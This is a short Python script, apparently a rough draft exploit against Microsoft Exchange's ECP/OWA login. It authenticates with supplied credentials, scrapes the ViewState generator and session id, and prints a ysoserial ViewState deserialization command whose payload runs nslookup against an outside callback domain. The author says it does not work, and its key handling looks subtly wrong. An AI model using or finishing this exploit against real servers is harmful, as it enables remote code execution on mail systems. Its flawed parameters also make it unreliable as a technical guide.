#
# THIS WILL NOT WORK IT NEEDS WORK
#
#
# This is a mock up of a exploit flow i need a system i can test on this to make it work but here is the base code to get some where
#
# By Random_Robbie 
#
#
import requests
import argparse
import re

parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="ECP Server")
parser.add_argument("-u", "--user", required=True, help="Email Address")
parser.add_argument("-p", "--password", required=True, help="Password")

args = parser.parse_args()


owa_login_form_url = args.server

user_name = args.user
pwd = args.password




session = requests.Session()

paramsPost = {"password":""+pwd+"","isUtf8":"1","passwordText":"","trusted":"4","destination":""+owa_login_form_url+"","flags":"4","forcedownlevel":"0","username":""+user_name+""}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PBack":"0","PrivateComputer":"true"}
response = session.post(""+owa_login_form_url+"auth.owa", data=paramsPost, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
if "reason=2" in response.text:
	print ("Login Incorrect")
else:
	VIEWSTATEGENERATOR = re.compile('id="__VIEWSTATEGENERATOR" value="(.+?)"').findall(str(response.text))[0]
	viewstateuserkey = re.compile('ASP.NET_SessionId=(.+?) Time').findall(str(response.headers))[0]
	print("""ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey="""+VIEWSTATEGENERATOR+""" --generator="B97B4E27" --viewstateuserkey="""+viewstateuserkey+""" --isdebug –islegacy""")


